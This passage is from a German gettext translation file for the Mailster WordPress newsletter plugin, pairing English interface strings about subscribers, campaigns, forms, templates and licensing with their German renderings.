msgstr "Du kann den Interval auf mindestens eine Minute stellen, solltest aber auch eine bessere Einstellung wie 5-15 Minuten in Er­wä­gung ziehen."

#: classes/queue.class.php:1255
msgid "Autoresponder %1$s has caused sending error: %2$s"
msgstr "Autoresponder %1$s hat einen Fehler verursacht: %2$s"

#: classes/subscribers.class.php:144 classes/subscribers.class.php:3355
msgid "Subscribed"
msgstr "Abonniert"

#: views/settings/delivery.php:21
msgid "You can still send %1$s mails within the next %2$s"
msgstr "Du kannst noch %1$s E-Mails innerhalb der nächsten %2$s senden"

#: classes/campaigns.class.php:155 classes/campaigns.class.php:263
msgid "Autoresponders"
msgstr "Autoresponder"

#: classes/register.class.php:43
msgid "Enter Your Purchase Code To Register (Don't have one for this site? %s)"
msgstr "Registriere dich mit deinem Lizenzcode (Hast du noch keinen für diese Seite? %s)"

#: views/newsletter/delivery.php:413
msgid "No custom date fields found!"
msgstr "Keine benutzerdefinierten Datumsfelder gefunden"

#: classes/subscribers.table.class.php:17
msgid "Subscriber"
msgstr "Abonnent"

#: views/manage.php:433
msgid "You do not have sufficient permissions to access this page."
msgstr "Du hast nicht die erforderlichen Rechte, um auf diese Seite zuzugreifen."

#: views/forms/detail.php:131
msgid "Available Fields"
msgstr "Verfügbare Felder"

#: classes/settings.class.php:677
msgid "No data to import"
msgstr "Keine Daten zum importieren"

#: classes/subscribers.class.php:486
msgid "Subscriber %s has been removed"
msgstr "Abonnent %s wurde entfernt"

#: views/forms/detail.php:17
msgid "You don't have the right permission to add new forms"
msgstr "Du hast nicht die Rechte um Formulare hinzuzufügen"

#: views/templates.php:122
msgid "Back to Overview"
msgstr "zurück zur Übersicht"

#: classes/campaigns.class.php:1365
msgid "Enter name of the list"
msgstr "Bitte Name der Liste angeben"

#: classes/forms.table.class.php:46
msgid "No forms found"
msgstr "Keine Formulare gefunden"

#: classes/tinymce.class.php:189 classes/forms.class.php:1388
#: classes/widget.class.php:398 views/forms/detail.php:440
msgid "Subscriber Button"
msgstr "Subscriber Button"

#: views/lists/detail.php:15
msgid "You don't have the right permission to add new lists"
msgstr "Du hast nicht die Berechtigung, neue Listen anzulegen"

#: classes/subscribers.class.php:783
msgid "Backend on %s"
msgstr "Backend am %s"

#: classes/subscribers.table.class.php:68
msgid "No hardbounced subscribers found"
msgstr "Keine Abonnenten gefunden"

#: classes/forms.class.php:1460
msgid "Subscriber Count"
msgstr "Abonenntenanzahl"

#: views/subscribers/detail.php:19
msgid "You don't have the right permission to add new subscribers"
msgstr "Du hast nicht die Berechtigung um neue Abonnenten anzulegen"

#: views/newsletter/details.php:159
msgid "Environment"
msgstr "Umgebung"

#: classes/lists.table.class.php:42
msgid "No list found"
msgstr "Keine Liste gefunden"

#: views/dashboard/mb-subscribers.php:12
msgid "Subscriber Grows"
msgstr "Abonnentenzuwachs "

#: classes/notification.class.php:1101
msgid "You have %1$s cancellations since %2$s."
msgstr "Du hast %1$s Abmeldungen seit %2$s."

#: views/forms/detail.php:220
msgid "Background Color"
msgstr "Hintergrundfarbe"

#: classes/subscribers.class.php:1527 classes/subscribers.class.php:3358
#: views/subscribers/detail.php:471
msgid "Error"
msgstr "Fehler"

#: classes/subscribers.class.php:386 classes/subscribers.class.php:469
msgid "Subscriber added"
msgstr "Abonnent hinzugefügt"

#: classes/notification.class.php:813
msgid "You have %1$s new subscribers since %2$s."
msgstr "Du hast %1$s neue Abonnenten seit %2$s."

#: classes/templates.class.php:1180 classes/template.class.php:372
msgid "Base"
msgstr "Basis"

#: views/settings/texts.php:13 views/forms/detail.php:120
#: views/forms/detail.php:153
msgid "Error Message"
msgstr "Fehlermeldung"

#: classes/ajax.class.php:2065 classes/ajax.class.php:2115
msgid "No or wrong record found for %s. Please adjust the namespace records and add these lines:"
msgstr "Kein oder falscher Eintrag gefunden für %s. Bitte passe die Namespace Einträge and und und füge diese Zeilen hinzu:"

#: classes/subscribers.class.php:1224
msgid "Subscriber already exists"
msgstr "Abonnent bereits vorhanden"

#: views/dashboard/mb-subscribers.php:14
msgid "You have %s"
msgstr "Du hast %s"

#: classes/manage.class.php:362
msgid "Basic"
msgstr "Basis"

#: views/forms/detail.php:121 views/forms/detail.php:154
msgid "Error Message (optional)"
msgstr "Fehlermeldung (optional)"

#: classes/subscribers.table.class.php:62
msgid "No pending subscribers found"
msgstr "Keine anstehende Abonnenten gefunden"

#: classes/subscribers.class.php:981
msgid "Subscriber failed verification"
msgstr "Abonnent konnte nicht verifiziert werden"

#: classes/notification.class.php:195
msgid "You have new cancellations!"
msgstr "Du hast neue Abmeldungen!"

#: views/setup.php:51 views/setup.php:91
msgid "Basic Information"
msgstr "Grundsätzliche Informationen"

#: views/forms/detail.php:251
msgid "Error message Background"
msgstr "Farbe der Fehlermeldung"

#: classes/campaigns.class.php:4144
msgid "No subscriber found"
msgstr "Keine Abonnenten gefunden"

#: classes/subscribers.class.php:469
msgid "Subscriber saved"
msgstr "Abonnent gespeichert"

#: views/dashboard/mb-subscribers.php:35
msgid "You have no subscribers yet!"
msgstr "Du hast zu Zeit keine Abonnenten!"

#: views/setup.php:24
msgid "Basics"
msgstr "Basis"

#: views/forms/detail.php:250
msgid "Error message Color"
msgstr "Textfarbe der Fehlermeldung"

#: classes/subscribers.table.class.php:71
msgid "No subscriber with delivery errors found"
msgstr "Keine Abonnenten mit Sendefehlern gefunden"

#: classes/widget.class.php:299 classes/widget.class.php:363
#: classes/subscribers.table.class.php:18 classes/subscribers.class.php:53
#: classes/subscribers.class.php:848 classes/lists.class.php:47
#: views/settings/wordpress-users.php:57 views/settings/wordpress-users.php:58
#: views/settings.php:38 views/lists/detail.php:89
#: views/dashboard/mb-quicklinks.php:27
msgid "Subscribers"
msgstr "Abonnenten"

#: classes/notification.class.php:814 classes/notification.class.php:1102
msgid "You have now %s subscribers in total."
msgstr "Du hast jetzt insgesamt %s Abonnenten."

#: views/setup.php:44
msgid "Before you can start sending your campaigns Mailster needs some info to get started."
msgstr "Bevor du mit dem Versenden deiner Kampagnen loslegen kannst braucht Mailster ein paar Informationen."

#: classes/manage.class.php:66
msgid "Estimate time left: %s minutes"
msgstr "Verbleibende Zeit: ungefähr %s Minuten"

#: classes/subscribers.table.class.php:74
msgid "No subscribers found"
msgstr "Keine Abonnenten gefunden"

#: classes/notification.class.php:930
msgid "Subscribers are located in %s different countries"
msgstr "Abonnenten kommen aus %s verschiedenen Ländern"

#: classes/settings.class.php:153
msgid "You have received this email because you have subscribed to %s as {email}. If you no longer wish to receive emails please {unsub}."
msgstr "Sie erhalten diese E-Mail weil Sie sich mit der Adresse {email} bei %s angemeldet haben. Falls Sie keine weiteren Nachrichten mehr erhalten wollen können Sie sich hier {unsub}."

#: views/settings/authentication.php:89
msgid "Bit Size"
msgstr "Bitgröße"

#: classes/manage.class.php:452
msgid "Existing subscribers"
msgstr "vorhandene Abonnenten"

#: classes/subscribers.table.class.php:65
msgid "No unsubscribed subscribers found"
msgstr "Keine abgemeldete Abonnenten gefunden"

#: classes/lists.class.php:137
msgid "Subscribers have been subscribed"
msgstr "Abonnenten wurden angemeldet"

#: classes/settings.class.php:240
msgid "You have successfully unsubscribed!"
msgstr "Sie haben sich erfolgreich abgemeldet!"

#: views/settings/bounce.php:5
msgid "Bounce Address"
msgstr "Adresse für unzustellbare Nachrichten"

#: views/settings/manage-settings.php:3 views/manage.php:25
#: views/dashboard/mb-subscribers.php:27 views/dashboard/mb-quicklinks.php:32
#: views/subscribers/overview.php:18
msgid "Export"
msgstr "Export"

#: views/newsletter/delivery.php:514
msgid "Normal"
msgstr "Normal"

#: classes/lists.class.php:146
msgid "Subscribers have been unsubscribed"
msgstr "Abonnenten wurden abgemeldet"

#: views/dashboard/mb-mailster.php:44
msgid "You have the latest version"
msgstr "Du verwendest die letzte Version"

#: classes/campaigns.class.php:562 classes/campaigns.class.php:3720
msgid "Bounces"
msgstr "Unzustellbar"

#: views/manage.php:11
msgid "Export Subscribers"
msgstr "Abonnenten Exportieren"

#: views/dashboard/mb-mailster.php:33
msgid "Not Verified"
msgstr "Nicht verifiziert"

#: views/settings/subscribers.php:46
msgid "Subscribers instantly signed out after clicking the unsubscribe link in mails"
msgstr "Abonnenten werden sofort abgemeldet, wenn sie den Abmelde link klicken"

#: views/newsletter/delivery.php:590
msgid "You have to %s to change the delivery settings"
msgstr "Du musst %s um die Versandoptionen zu ändern"

#: views/settings.php:45
msgid "Bouncing"
msgstr "Bouncing"

#: views/setup.php:479
msgid "Extend Mailster"
msgstr "Mailster erweitern"

#: classes/settings.class.php:1097
msgid "Not able to connected to %1$s via port %2$s! You may not be able to send mails cause of the locked port %3$s. Please contact your host or choose a different delivery method!"
msgstr "Es konnte keine Verbindung zu %1$s über Port %2$s hergestellt werden! Du kannst möglicherweise keine E-Mails über den blockierten Port %3$s versenden. Bitte kontaktiere deinen Provider oder wähle eine alternative Sendemethode!"

#: views/settings/texts.php:3
msgid "Subscription Form"
msgstr "Anmelde Formular"

#: classes/forms.class.php:640
msgid "You have to confirm your email address. Please click the link below to confirm. %s"
msgstr "Sie müssen Ihre E-Mailadresse bestätigen. Bitte klicken Sie auf folgenden Link, %s"

#: views/dashboard.php:69
msgid "Browse Addons"
msgstr "Erweiterungen ansehen"

#: views/setup.php:483
msgid "External Resources"
msgstr "Weitere Ressourcen"

#: classes/manage.class.php:853
msgid "Not able to create file in %s. Please make sure WordPress can write files to your filesystem!"
msgstr "Konnte die Datei %s nicht erstellen. Bitte stell sicher, dass WordPress auf das Dateisystem schreiben kann!"

#: views/forms/detail.php:249
msgid "Success message Background"
msgstr "Farbe der Bestätigung"

#: views/settings/subscribers.php:67
msgid "You have to enable Custom fields for each form:"
msgstr "Du must Benutzerfelder für jedes Formular aktivieren:"

#: views/dashboard.php:70
msgid "Browse Templates"
msgstr "Templates ansehen"

#: views/settings/texts.php:23
msgid "Field Labels"
msgstr "Feldbezeichnungen"

#: classes/settings.class.php:729
msgid "Not able to create new DKIM keys!"
msgstr "Konnte keine neuen DKIM Schlüssel erstellen!"

#: views/forms/detail.php:248
msgid "Success message Color"
msgstr "Textfarbe der Bestätigung"

#: classes/settings.class.php:1156
msgid "You have to generate DKIM Keys to use DKIM signed mails!"
msgstr "Du musst DKIM Schlüssel generieren um DKIM signierte E-Mails zu versenden!"

#: classes/subscribers.class.php:115
msgid "Bulk process in progress!"
msgstr "Bulk-Prozess in Arbeit!"

#: classes/settings.class.php:383 views/settings/subscribers.php:87
msgid "Field Name"
msgstr "Feldbezeichnung"

#: classes/update.class.php:136
msgid "Not able to download Mailster!"
msgstr "Mailster konnte nicht geladen werden!"

#: views/settings/texts.php:12
msgid "Successful"
msgstr "Erfolgreich"

#: classes/campaigns.class.php:1378
msgid "You have to make it better!"
msgstr "Du musst das besser machen!"

#: views/forms/detail.php:200
msgid "Button"
msgstr "Schaltfläche"

#: views/forms/detail.php:274
msgid "Field wrapper"
msgstr "Feld"

#: classes/ajax.class.php:1783
msgid "Not able to save file!"
msgstr "Konnte Datei nicht schreiben!"

#: views/dashboard.php:65
msgid "Supercharge Mailster!"
msgstr "Erweitere Mailster!"

#: classes/tests.class.php:590
msgid "You haven't defined a homepage for the newsletter. This is required to make the subscription form work correctly. Please check the %1$s or %2$s."
msgstr "Du hast die Homepage für den Newsletter noch nicht bestimmt. Das ist erforderlich damit das Anmeldeformular funktioniert. Bitte überprüfe die %1$s oder %2$s."

#: views/forms/detail.php:126 views/newsletter/editbar.php:91
msgid "Button Label"
msgstr "Buttonbezeichung"

#: classes/forms.class.php:278 classes/forms.table.class.php:119
#: views/forms/detail.php:86 views/forms/detail.php:201
#: views/conditions/conditions.php:50
msgid "Fields"
msgstr "Felder"

#: classes/settings.class.php:877
msgid "Not able to set archive slug to %1$s. Used by %2$s"
msgstr "Konnte Archiv URL Struktur %1$s nicht speichern da sie von %2$s verwendet wird"

#: views/dashboard/mb-mailster.php:55 views/dashboard/mb-mailster.php:67
msgid "Support"
msgstr "Support"

#: classes/forms.class.php:1447
msgid "Button Options"
msgstr "Buttoneinstellungen"

#: views/settings/cron.php:66
msgid "File based"
msgstr "Datei basierend"

#: classes/manage.class.php:893
msgid "Not able to write export file"
msgstr "Konnte Datei nicht schreiben"

#: classes/forms.class.php:246
msgid "You haven't saved your recent changes on this form!"
msgstr "Du hast die Änderungen in diesem Formular nicht geändert!"

#: classes/forms.class.php:1429
msgid "Button Style"
msgstr "Button Style"

#: classes/templates.class.php:691
msgid "File does not exist. Please contact %s for help!"
msgstr "Datei existiert nicht. Bitte kontaktiere %s für Hilfe!"

#: classes/campaigns.class.php:1380
msgid "Not bad at all. Improve it further!"
msgstr "Nicht so schlecht! Du solltest es noch mehr verbessern!"

#: views/settings/wordpress-users.php:3
msgid "Sync WordPress Users"
msgstr "WordPress Benutzer synchronisieren"

#: views/settings/authentication.php:6
msgid "You need to change the namespace records of your domain if you would like to use one of these methods. Ask your provider how to add \"TXT namespace records\". Changes take some time to get published on all DNS worldwide."
msgstr "Du musst die Namespace-Einträge für deine Domain ändern falls du diese Methoden verwenden möchtest. Frage deinen Provider wie du \"TXT namespace records\" anlegen kannst. Änderungen werden meist erst nach einiger Zeit auf allen DNS weltweit übernommen."

#: classes/register.class.php:43
msgid "Buy Now!"
msgstr "Jetzt kaufen!"

#: classes/ajax.class.php:1779
msgid "File has been saved!"
msgstr "Datei wurde gespeichert"

#: views/newsletter/attachment.php:39
msgid "Note: Each attachment will increase your overall mail size, consider to share a link instead of attaching a file to prevent your email getting too big."
msgstr "Beachte: Jeder Anhang erhöht die Gesamtgröße der E-Mail. Erwäge anstelle des Anhangs einen Link zu der Datei zu teilen um zu verhindern, dass deine Nachricht zu groß wird."

#: views/settings/wordpress-users.php:5
msgid "Sync WordPress Users with Subscribers"
msgstr "WordPress Benutzer mit Abonnenten synchronisieren"

#: classes/frontpage.class.php:1208
msgid "You should use the shortcode %s only on the newsletter homepage!"
msgstr "Verwende den shortcode %s nur auf der Newsletter Homepage!"

#: classes/update.class.php:212
msgid "Buy a new Mailster License"
msgstr "Kauf dir eine neue Mailster Lizenz"

#: classes/templates.class.php:1185 classes/template.class.php:376
#: views/settings/subscribers.php:3
msgid "Notification"
msgstr "Benachrichtigung"

#: views/settings.php:48 views/tests.php:22
msgid "System Info"
msgstr "Systeminformation"

#: views/settings/privacy.php:21
msgid "Your IP"
msgstr "Deine IP Adresse"

#: classes/update.class.php:146
msgid "Buy an additional license for %s."
msgstr "Kauf eine weitere Lizenz für %s."

#: classes/campaigns.class.php:3759
msgid "Filter"
msgstr "Filter"

#: classes/queue.class.php:1243
msgid "Notification %1$s has thrown an error: %2$s"
msgstr "Benachrichtigung %1$s verursachte einen Fehler: %2$s"

#: views/settings/general.php:57
msgid "System Mails"
msgstr "System E-Mails"

#: classes/dashboard.class.php:45
msgid "Your License has been reset!"
msgstr "Deine Lizenz wurde zurückgesetzt!"

#: views/dashboard/mb-mailster.php:29 views/dashboard/mb-mailster.php:39
msgid "Buy new License"
msgstr "Kaufe eine neue Lizenz"

#: classes/campaigns.class.php:182
msgid "Filter Newsletter list"
msgstr "Newsletter filtern"

#: views/setup.php:469
msgid "Now you can continue to customize Mailster to your needs."
msgstr "Jetzt kannst du Mailster noch weiter and deine Bedürfnisse anpassen."

#: classes/ajax.class.php:2055
msgid "TXT record found"
msgstr "TXT Eintrag gefunden"

#: views/setup.php:155
msgid "CAN-SPAM"
msgstr "CAN-SPAM"

#: classes/campaigns.class.php:924 classes/campaigns.class.php:1048
msgid "Finish"
msgstr "Beenden"

#: classes/widget.class.php:255
msgid "Number of Newsletters"
msgstr "Anzahl der Newsletter"

#: classes/tinymce.class.php:148 classes/settings.class.php:384
#: views/settings/subscribers.php:88
msgid "Tag"
msgstr "Tag"

#: classes/ajax.class.php:1949
msgid "Your bounce server is good!"
msgstr "Die Servereinstellungen sind korrekt!"

#: views/manage.php:238
msgid "CSV"
msgstr "CSV"

#: classes/campaigns.class.php:924
msgid "Finish Campaign"
msgstr "Kampagne beenden"

#: classes/widget.class.php:270
msgid "Number of Subscribers"
msgstr "Anzahl der Abonnenten"

#: classes/tinymce.class.php:149 classes/subscribers.class.php:1533
#: views/settings.php:41
msgid "Tags"
msgstr "Tags"

#: classes/templates.class.php:1515 classes/manage.class.php:1472
msgid "Your browser has some limitations uploading large files with the multi-file uploader. Please use the browser uploader for files over 100MB."
msgstr "Dein Browser kann auf Grund von Limitierungen keine grossen Dateien hochladen. Nutze bitte den alternativen \"Browser-Upload\" um Dateien mit einer Grösse von über 100 MB hochzuladen."

#: classes/campaigns.class.php:154 views/lists/detail.php:140
#: views/dashboard/mb-campaigns.php:19 views/subscribers/detail.php:430
#: views/newsletter/delivery.php:455
msgid "Campaign"
msgstr "Kampagne"

#: classes/campaigns.class.php:250 classes/campaigns.class.php:252
#: classes/campaigns.class.php:717
msgid "Finished"
msgstr "Beendet"

#: classes/cron.class.php:77 views/settings/delivery.php:3
msgid "Number of mails sent"
msgstr "Anzahl der zu sendenden Mails"

#: views/settings/tags.php:1
msgid "Tags are placeholder for your newsletter. You can set them anywhere in your newsletter template with the format %s. Custom field tags are individual for each subscriber."
msgstr "Tags sind Platzhalter für deinen Newsletter. Du kannst sie überall in deimem Template im Format %s verwenden. Benutzerdefinierte Felder sind individuell für jeden Abonnenten"

#: views/settings/privacy.php:26
msgid "Your city"
msgstr "Deine Stadt"

#: classes/queue.class.php:1261
msgid "Campaign %1$s has been paused cause of a sending error: %2$s"
msgstr "Kampagne %1$s wurde wegen eines Sendefehlers pausiert: %2$s"

#: classes/register.class.php:62
msgid "Finishing Registration"
msgstr "Registrierung abschließen"

#: views/settings/general.php:35
msgid "Number of posts or images displayed at once in the editbar."
msgstr "Anzahl der Posts oder Bilder die auf einmal beim Editieren gezeigt werden"

#: classes/campaigns.class.php:274 views/settings.php:35
msgid "Template"
msgstr "Template"

#: views/settings/privacy.php:24
msgid "Your country"
msgstr "Dein Land"

#: classes/queue.class.php:1264
msgid "Campaign %1$s has some delay cause of a sending error: %2$s"
msgstr "Kampagne %1$s verzögert sich etwas wegen eines Sendefehlers: %2$s "

#: classes/tinymce.class.php:82 classes/forms.class.php:1367
#: classes/settings.class.php:244 includes/updates.php:31
#: views/settings/texts.php:26
msgid "First Name"
msgstr "Vorname"

#: classes/forms.class.php:280
msgid "Occurrence"
msgstr "Vorkommen"

#: classes/templates.class.php:177
msgid "Template %s already exists!"
msgstr "Template %s existiert bereits!"

#: views/newsletter/optionbar.php:36
msgid "Your currently working with %s"
msgstr "Du arbeitest zur Zeit mit %s"

#: classes/subscribers.class.php:522 views/subscribers/detail.php:441
msgid "Campaign %s has been sent"
msgstr "Kampagne %s wurde gesendet"

#: views/lists/detail.php:155
msgid "First open in Campaign %s"
msgstr "Erster öffnet Kampagne %s"

#: views/settings/frontend.php:65
msgid "Offer share option for your customers"
msgstr "Option zum Teilen anbieten"

#: classes/templates.class.php:662
msgid "Template %s has been deleted"
msgstr "Template %s wurde gelöscht"

#: classes/notification.class.php:163 classes/notification.class.php:191
msgid "Your daily summary"
msgstr "Deine tägliche Zusammenfassung"

#: views/lists/detail.php:151
msgid "Campaign %s has start sending"
msgstr "Kampagne %s wurde gesendet"

#: views/lists/detail.php:163
msgid "First subscription canceled"
msgstr "Erstes Abmeldung"

#: classes/helper.class.php:2036 views/setup.php:514
msgid "Ok, got it!"
msgstr "Ok, verstanden!"

#: classes/ajax.class.php:2356
msgid "Template %s has been uploaded"
msgstr "Template %s wurde hochgeladen"

#: classes/manage.class.php:79
msgid "Your download is preparing! If you leave this page the progress will abort!"
msgstr "Dein Download wird vorbereitet! Wenn du die Seite verlässt, wird der Prozess abgebrochen!"

#: classes/campaigns.class.php:850
msgid "Campaign does not exist"
msgstr "Kampagne existiert nicht"

#: views/settings/wordpress-users.php:26 views/settings/subscribers.php:58
#: views/settings/subscribers.php:59
msgid "Firstname"
msgstr "Vorname"

#: classes/templates.class.php:664
msgid "Template %s has not been deleted"
msgstr "Template %s wurde nicht gelöscht"

#: views/single-newsletter.php:114
msgid "Your email address"
msgstr "Ihre E-Mailadresse"

#: classes/campaigns.class.php:539
msgid "Campaign draft updated."
msgstr "Kampagnen Entwurf aktualisiert."

#: classes/widget.class.php:543
msgid "Flat"
msgstr "Flach"

#: classes/settings.class.php:429
msgid "Ooops, looks like your settings are missing or broken :("
msgstr "Oje, schaut aus als ob die Einstellungen fehlen oder beschädigt sind :("

#: views/templates.php:13
msgid "Template %s is missing or broken. Reset to default"
msgstr "Template %s fehlt oder wurde beschädigt. Verwende die Standardvorlage"

#: views/newsletter/template.php:124
msgid "Your email may look different on mobile devices"
msgstr "Deine E-Mail kann auf Mobiltelefonen anders aussehen"

#: classes/campaigns.class.php:535
msgid "Campaign published. %s"
msgstr "Kampagne veröffentlicht %s"

#: classes/settings.class.php:238
msgid "Following fields are missing or incorrect"
msgstr "Folgende Felder sind fehlerhaft oder wurden nicht ausgefüllt"

#: classes/campaigns.class.php:559
msgid "Open"
msgstr "Geöffnet"

#: classes/templates.class.php:647
msgid "Template %s is now your default template"
msgstr "%s ist jetzt dein Standardtemplate"

#: views/forms/detail.php:182
msgid "Your form may look different depending on the place you are using it!"
msgstr "Dein Formular schaut eventuell anders aus abhängig von dem Ort wo es verwendet wird!"

#: classes/tinymce.class.php:103 views/conditions/conditions.php:64
msgid "Campaign related"
msgstr "Kampagnen bezogen"

#: classes/tinymce.class.php:197 classes/forms.class.php:626
#: classes/widget.class.php:33 classes/widget.class.php:529
#: classes/forms.table.class.php:13 classes/conditions.class.php:124
#: classes/subscribers.class.php:818 classes/subscribers.class.php:1530
msgid "Form"
msgstr "Formular"

#: classes/campaigns.class.php:3716
msgid "Open Count"
msgstr "Öffnungen"

#: classes/campaigns.class.php:531
msgid "Template changed. %1$s"
msgstr "Template geändert. %1$s"

#: views/single-newsletter.php:117
msgid "Your friend's email address"
msgstr "Die E-Mailadresse Ihres Freundes"

#: classes/campaigns.class.php:534
msgid "Campaign restored to revision from %s"
msgstr "Kampagne von Revision %s wiederhergestellt"

#: classes/forms.class.php:454
msgid "Form %s has been removed"
msgstr "Formular %s wurde entfernt"

#: classes/campaigns.class.php:3715
msgid "Open Date"
msgstr "Öffnungsdatum"

#: classes/campaigns.class.php:532
msgid "Template saved"
msgstr "Template gespeichert"

#: views/dashboard/mb-mailster.php:34
msgid "Your license has not been verified"
msgstr "Deine Lizenz wurde nicht verifiziert"

#: classes/campaigns.class.php:536
msgid "Campaign saved."
msgstr "Kampagne gespeichert"

#: views/forms/detail.php:179
msgid "Form Design"
msgstr "Formular Design"

#: views/settings/cron.php:11
msgid "Optional if a real cron service is used"
msgstr "Optional falls ein richtiger Crondienst verwendet wird"

#: classes/templates.class.php:615 classes/templates.class.php:709
msgid "Template successful loaded!"
msgstr "Template wurde erfolgreich geladen!"

#: classes/campaigns.class.php:538
msgid "Campaign scheduled."
msgstr "Kampagne geplant."

#: views/forms/detail.php:106
msgid "Form Fields"
msgstr "Formular Felder"

#: classes/settings.class.php:396 classes/campaigns.class.php:278
msgid "Options"
msgstr "Optionen"

#: classes/templates.class.php:708
msgid "Template successful updated!"
msgstr "Template wurde erfolgreich aktualisiert!"

#: classes/ajax.class.php:1643
msgid "Your message was sent successfully!"
msgstr "Ihre Nachricht wurde erfolgreich verschickt"

#: views/subscribers/detail.php:367
msgid "Campaign sent"
msgid_plural "Campaigns sent"
msgstr[0] "Kampagne gesendet"
msgstr[1] "Kampagnen gesendet"

#: views/forms/detail.php:441
msgid "Form HTML"
msgstr "Formular HTML"

#: classes/settings.class.php:478
msgid "Options have been reset!"
msgstr "Einstellungen wurden zurückgesetzt!"

#: classes/templates.class.php:47 classes/mailster.class.php:1151
#: views/templates.php:65 views/welcome.php:14
msgid "Templates"
msgstr "Templates"

#: classes/notification.class.php:165 classes/notification.class.php:193
msgid "Your monthly summary"
msgstr "Deine monatliche Zusammenfassung"

#: views/settings/frontend.php:86
msgid "Campaign slug"
msgstr "Kampagnen URL-Struktur"

#: classes/manage.class.php:453 views/settings/texts.php:48
#: views/forms/detail.php:285 views/dialogs/deactivation.php:35
msgid "Other"
msgstr "Andere"

#: views/settings/bounce.php:86
msgid "Test bounce settings"
msgstr "Bounce Einstellungen testen"

#: views/single-newsletter.php:111
msgid "Your name"
msgstr "Ihr Name"

#: classes/campaigns.class.php:537
msgid "Campaign submitted. %s"
msgstr "Kampagne eingereicht %s"

#: views/forms/detail.php:308
msgid "Form Options"
msgstr "Formular Optionen"

#: classes/manage.class.php:392
msgid "Other Meta"
msgstr "Andere Metadaten"

#: classes/forms.class.php:1472
msgid "Test your button"
msgstr "Teste deinen Button"

#: classes/settings.class.php:882
msgid "Your newsletter archive page is: %s"
msgstr "Deine Newsletter Archiv findest du hier: %s"

#: classes/campaigns.class.php:533
msgid "Campaign updated."
msgstr "Kampagne aktualisiert."

#: classes/forms.class.php:427
msgid "Form added"
msgstr "Formular hinzugefügt"

#: views/subscribers/detail.php:392
msgid "Other used clients"
msgstr "Andere verwendete Klienten"

#: classes/tinymce.class.php:181 views/forms/detail.php:389
msgid "Text"
msgstr "Text"

#: classes/tests.class.php:595
msgid "Your newsletter homepage is not visible. Please update %s."
msgstr "Deine Newsletter Homepage ist nicht sichtbar. Bitte %s deine Seite"

#: classes/campaigns.class.php:530
msgid "Campaign updated. %s"
msgstr "Kampagne aktualisiert %s"

#: views/forms/detail.php:273
msgid "Form selector"
msgstr "Formular Selector"

#: views/settings/wordpress-users.php:140
msgid "Others"
msgstr "Andere"

#: views/newsletter/editbar.php:80
msgid "Text Button"
msgstr "Text Button"

#: classes/mailster.class.php:1794
msgid "Your purchase code is already in use and can only be used for one site."
msgstr "Dein Lizenzcode ist bereits in Verwendung und kann nur auf einer Seite verwendet werden."

#: classes/campaigns.class.php:155 views/dashboard/mb-quicklinks.php:15
msgid "Campaigns"
msgstr "Kampagnen"

#: classes/forms.class.php:427
msgid "Form updated"
msgstr "Formular aktualisiert"

#: views/manage.php:235
msgid "Output Format"
msgstr "Ausgabeformat"

#: views/forms/detail.php:221
msgid "Text Color"
msgstr "Textfarbe"

#: classes/mailster.class.php:1786
msgid "Your purchase code is invalid."
msgstr "Dein Lizenzcode ist ungültig."

#: classes/templates.class.php:1507 classes/manage.class.php:1462
#: classes/mailster.class.php:2580 views/templates.php:51
#: views/templates.php:59 views/newsletter/editbar.php:334
#: views/newsletter/optionbar.php:110
msgid "Cancel"
msgstr "Abbruch"

#: classes/tinymce.class.php:198 classes/forms.class.php:192
#: classes/forms.class.php:510 classes/forms.table.class.php:14
#: views/settings/subscribers.php:67 views/forms/overview.php:2
#: views/dashboard/mb-quicklinks.php:45
msgid "Forms"
msgstr "Formulare"

#: views/settings/advanced.php:43
msgid "PHP Mailer"
msgstr "PHP Mailer"

#: classes/widget.class.php:46
msgid "Text after the form"
msgstr "Text nach dem Formular"

#: classes/notification.class.php:164 classes/notification.class.php:192
msgid "Your weekly summary"
msgstr "Deine wöchentliche Zusammenfassung"

#: classes/templates.class.php:660
msgid "Cannot delete the default template %s"
msgstr "Kann das Standardtemplate %s nicht löschen"

#: classes/tinymce.class.php:107
msgid "Forward"
msgstr "Weiterleiten"

#: views/setup.php:202
msgid "Page Title"
msgstr "Seitentitel"

#: classes/widget.class.php:44
msgid "Text before the form"
msgstr "Text vor dem Formular"

#: views/manage.php:247
msgid "[Tab]"
msgstr "[Tab]"

#: views/settings.php:44
msgid "Capabilities"
msgstr "Berechtigungen"

#: views/settings/texts.php:41
msgid "Forward Link"
msgstr "Link weiterleiten"

#: views/settings/frontend.php:59
msgid "Pagination"
msgstr "Blättern"

#: classes/settings.class.php:387 views/settings/subscribers.php:76
msgid "Textarea"
msgstr "Textfeld"

#: views/subscribers/detail.php:449
msgid "a link"
msgstr "einen Link"

#: views/setup.php:105
msgid "From Address"
msgstr "Absenderadresse"

#: classes/settings.class.php:1617 views/settings/bounce.php:49
#: views/newsletter/submit.php:27
msgid "Password"
msgstr "Passwort"

#: classes/settings.class.php:386 views/settings/subscribers.php:75
msgid "Textfield"
msgstr "Textfeld"

#: views/settings/cron.php:32
msgid "a secret hash which is required to execute the cron"
msgstr "ein geheimer Hash welcher für die Ausführung des Cron gebraucht wird"

#: classes/helper.class.php:819
msgid "Change Image"
msgstr "Bild ändern"

#: views/settings/general.php:7 views/newsletter/details.php:45
#: views/newsletter/details.php:46
msgid "From Email"
msgstr "Absenderadresse"

#: views/manage.php:54
msgid "Paste"
msgstr "Einfügen"

#: includes/autoresponder.php:40
msgid "a specific action hook"
msgstr "eine gewissen Action Hook"

#: views/settings/texts.php:79
msgid "Change Language"
msgstr "Sprache wechseln"

#: views/settings/general.php:3 views/setup.php:101
#: views/newsletter/details.php:36 views/newsletter/details.php:39
msgid "From Name"
msgstr "Absendername"

#: classes/campaigns.class.php:915 classes/campaigns.class.php:1046
#: views/newsletter/submit.php:66 views/newsletter/submit.php:77
msgid "Pause"
msgstr "Pause"

#: classes/settings.class.php:481
msgid "Texts have been reset!"
msgstr "Texte wurden zurückgesetzt!"

#: includes/autoresponder.php:36
msgid "a specific campaign"
msgstr "eine bestimmte Kampagne"

#: views/newsletter/optionbar.php:42
msgid "Change Template"
msgstr "Template ändern"

#: classes/settings.class.php:829 views/settings.php:36
msgid "Front End"
msgstr "Front End"

#: classes/campaigns.class.php:915
msgid "Pause Campaign"
msgstr "Kampagne pausieren"

#: classes/tinymce.class.php:184 classes/settings.class.php:237
#: includes/static.php:11
msgid "Thanks for your interest!"
msgstr "Danke für deine Anmeldung!"

#: includes/autoresponder.php:32
msgid "a specific user time"
msgstr "eine gewisse Benutzerzeit"

#: includes/functions.php:1137
msgid "Changelog"
msgstr "Änderungen"

#: classes/tinymce.class.php:84
